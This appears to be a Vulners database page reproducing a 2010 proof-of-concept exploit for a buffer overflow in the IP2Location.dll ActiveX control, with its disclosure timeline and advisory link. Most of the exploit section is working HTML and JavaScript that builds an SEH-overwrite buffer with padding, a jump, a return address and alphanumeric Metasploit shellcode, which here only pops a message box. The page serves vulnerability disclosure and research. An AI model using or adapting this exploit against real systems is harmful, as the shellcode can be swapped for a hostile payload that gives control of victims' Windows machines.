Vulners
Lucene search
IP2location.dll 1.0.0.1 - Function Initialize() Buffer Overflow
<html>
<head>
<title>IP2Location.dll v1.0.0.1 Initialize() Buffer Overflow by sinn3r</title>
</head>
<body>
<object classid='clsid:A3C8BFFA-1496-4188-A2BC-355A0B3DA0A7' id='ip2location'></object>
<script language="JavaScript">
/*
IP2Location.dll v1.0.0.1 Initialize() Buffer Overflow
Vulnerable version : v1.0.0.1 (checksum: d86933ab58720c384bdc081d33684f7d)
patched version : v1.0.0.1 (checksum: bf66e2ef8be3c301b381cfb424ad0afc), v3.0.1.0
Found and coded by sinn3r
http://twitter.com/_sinn3r
Greets: Corelan Security Team & Exploit-DB
1) Script provided 'as is', without any warranty. Use for educational purposes only.
2) Do not use this code to do anything illegal, that's ridiculous!
3) You are not allowed to edit/modify this code. If you do, Corelan Security cannot be
held responsible for any damages this may cause.
Timeline:
05/19/2010 Vendor Contacted.
05/20/2010 Vendor asking for more details
05/29/2010 Received the latest beta release from vendor
05/30/2010 public
For more vulnerability details, visit:
http://www.corelan.be:8800/advisories.php?id=CORELAN-10-044
*/
// ./msfpayload windows/messagebox exitfunc=thread TEXT="by sinn3r" TITLE="Demo by Corelan"
messagebox = "PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIHYJKMK8Y2T7TZTP1XRNRRZVQ9YSTL"+
"KT1VPLKSFDLLKSFULLKG6THLK3NQ0LK7FP80OUH2UL3V95Q8QKOM1CPLK2LFD6DLKW5GLLK1DUU48C1JJLKQZUHL"+
"K1JWP31ZKKSVWG9LKP4LKEQJNP1KO6Q9PKLNLMTIP2TDJIQXOTMC1HGM9L1KOKOKOGKSLFDQ8RUYNLK0ZVDS1JKU"+
"6LKTLPKLK0ZELUQJKLKUTLK5QM8MYPDVDEL3QO3OB5XQ9YDMYZEK9O2RHLNPNDNZL62KXMLKOKOKOK9QUUTOKZO8"+
"NKPSPLGULWTPRZHLKKOKOKOLIW5THBH2LRL7PKO58VS6RVNU4CXT5T3CUCBK8QL7TUZMYM6PVKOV55TMYHBF0OKO"+
"XY20MOLLG5LFD0RM8QNKOKOKO582LSQ2NPXU8QS2OBRSUE8GPSRSIQ058G42ERMRO6Q9KMXQLWT4OK9JC3X2R68W"+
"P10SX592NRNVSE8U2BY7PRSVQIYMX0LQ439K9KQFQYBQB63PQPRKON06QIPPPKOF5UXEZA";
alignment = unescape(
"%58"+ //POP EAX
"%04%0B" //ADD AL, 0x0B
);
// Tested size = 10260 bytes
var padding1 = unescape("%41"); //Padding
while (padding1.length < 1912)
padding1 += unescape("%41");
var nseh = unescape("%EB%06%42%42"); //Short Jump
var seh = unescape("%71%33%6E%74"); //0x746E3371 msls31.dll IE6
var padding2 = unescape("%41"); //Padding
while (padding2.length < 10000)
padding2 += unescape("%41");
buffer = padding1 + nseh + seh + alignment + messagebox + padding2;
var arg1 = ip2location.Initialize(buffer);
</script>
<pre>
|------------------------------------------------------------------|
| __ __ |
| _________ ________ / /___ _____ / /____ ____ _____ ___ |
| / ___/ __ \/ ___/ _ \/ / __ `/ __ \ / __/ _ \/ __ `/ __ `__ \ |
| / /__/ /_/ / / / __/ / /_/ / / / / / /_/ __/ /_/ / / / / / / |
| \___/\____/_/ \___/_/\__,_/_/ /_/ \__/\___/\__,_/_/ /_/ /_/ |
| |
| http://www.corelan.be:8800 |
| |
|-------------------------------------------------[ EIP Hunters ]--|
[+] IP2Location.dll v1.0.0.1 Initialize() Buffer Overflow
[+] http://www.corelan.be:8800/advisories.php?id=CORELAN-10-044
[+] Tested on Windows XP SP3 + IE 6.0 + IP2Location.dll v1.0.0.1
[+] Found and coded by sinn3r - x90.sinner{at}gmail{d0t}c0m
[+] http://twitter.com/_sinn3r
[+] Special thanks to: corelanc0d3r and Sud0
Download the DLL, do a "regsvr32 IP2Location.dll", and run the proof of concept.
When successful, this POC should pop up a MessageBox.
</pre>
</body>
</html>
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1